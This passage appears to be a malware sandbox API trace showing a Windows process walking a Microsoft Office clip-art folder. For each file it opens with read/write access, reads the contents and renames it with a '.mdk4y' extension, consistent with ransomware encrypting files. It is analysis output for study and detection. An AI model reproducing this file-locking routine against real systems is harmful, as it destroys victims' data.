lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02742U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.896] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.896] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.mdk4y")) returned 1 [0172.906] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.906] AreFileApisANSI () returned 1 [0172.906] GetACP () returned 0x4e4 [0172.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02743G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02743G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.906] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.907] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6d86, lpOverlapped=0x0) returned 1 [0172.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.mdk4y")) returned 1 [0172.909] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.909] AreFileApisANSI () returned 1 [0172.909] GetACP () returned 0x4e4 [0172.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02746G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02746G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.910] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.911] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5e7b, lpOverlapped=0x0) returned 1 [0172.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.mdk4y")) returned 1 [0172.915] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.915] AreFileApisANSI () returned 1 [0172.915] GetACP () returned 0x4e4 [0172.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02746U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02746U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.917] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d84, lpOverlapped=0x0) returned 1 [0172.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.mdk4y")) returned 1 [0172.927] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.927] AreFileApisANSI () returned 1 [0172.927] GetACP () returned 0x4e4 [0172.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02748G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02748G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.927] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.927] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6090, lpOverlapped=0x0) returned 1 [0172.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.mdk4y")) returned 1 [0172.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.931] AreFileApisANSI () returned 1 [0172.931] GetACP () returned 0x4e4 [0172.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02748U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02748U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.931] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.932] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e90, lpOverlapped=0x0) returned 1 [0172.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.mdk4y")) returned 1 [0172.934] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.934] AreFileApisANSI () returned 1 [0172.934] GetACP () returned 0x4e4 [0172.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02749G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02749G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8795, lpOverlapped=0x0) returned 1 [0172.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.mdk4y")) returned 1 [0172.939] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.939] AreFileApisANSI () returned 1 [0172.939] GetACP () returned 0x4e4 [0172.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02749U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02749U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.939] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.941] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8118, lpOverlapped=0x0) returned 1 [0172.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.mdk4y")) returned 1 [0172.943] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.943] AreFileApisANSI () returned 1 [0172.943] GetACP () returned 0x4e4 [0172.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02750G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02750G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.945] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x64c7, lpOverlapped=0x0) returned 1 [0172.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.mdk4y")) returned 1 [0172.947] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.947] AreFileApisANSI () returned 1 [0172.947] GetACP () returned 0x4e4 [0172.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02750U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02750U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.947] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.948] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16f40, lpOverlapped=0x0) returned 1 [0172.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.mdk4y")) returned 1 [0172.951] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.951] AreFileApisANSI () returned 1 [0172.951] GetACP () returned 0x4e4 [0172.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02752G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02752G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.952] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc382, lpOverlapped=0x0) returned 1 [0172.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.mdk4y")) returned 1 [0172.955] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.955] AreFileApisANSI () returned 1 [0172.955] GetACP () returned 0x4e4 [0172.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02752U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02752U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.956] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c08, lpOverlapped=0x0) returned 1 [0172.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.mdk4y")) returned 1 [0172.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.967] AreFileApisANSI () returned 1 [0172.967] GetACP () returned 0x4e4 [0172.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02753U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02753U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.968] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a6b8, lpOverlapped=0x0) returned 1 [0172.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.mdk4y")) returned 1 [0172.991] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.991] AreFileApisANSI () returned 1 [0172.991] GetACP () returned 0x4e4 [0172.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02754U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02754U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.991] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.992] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0172.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.mdk4y")) returned 1 [0172.999] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.999] AreFileApisANSI () returned 1 [0172.999] GetACP () returned 0x4e4 [0173.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02755U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02755U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0173.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.mdk4y")) returned 1 [0173.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.024] AreFileApisANSI () returned 1 [0173.024] GetACP () returned 0x4e4 [0173.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02756U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02756U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.027] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30408, lpOverlapped=0x0) returned 1 [0173.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.mdk4y")) returned 1 [0173.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.032] AreFileApisANSI () returned 1 [0173.032] GetACP () returned 0x4e4 [0173.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02757U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02757U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.034] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30408, lpOverlapped=0x0) returned 1 [0173.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.mdk4y")) returned 1 [0173.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.053] AreFileApisANSI () returned 1 [0173.053] GetACP () returned 0x4e4 [0173.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02758U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02758U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x307f8, lpOverlapped=0x0) returned 1 [0173.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program 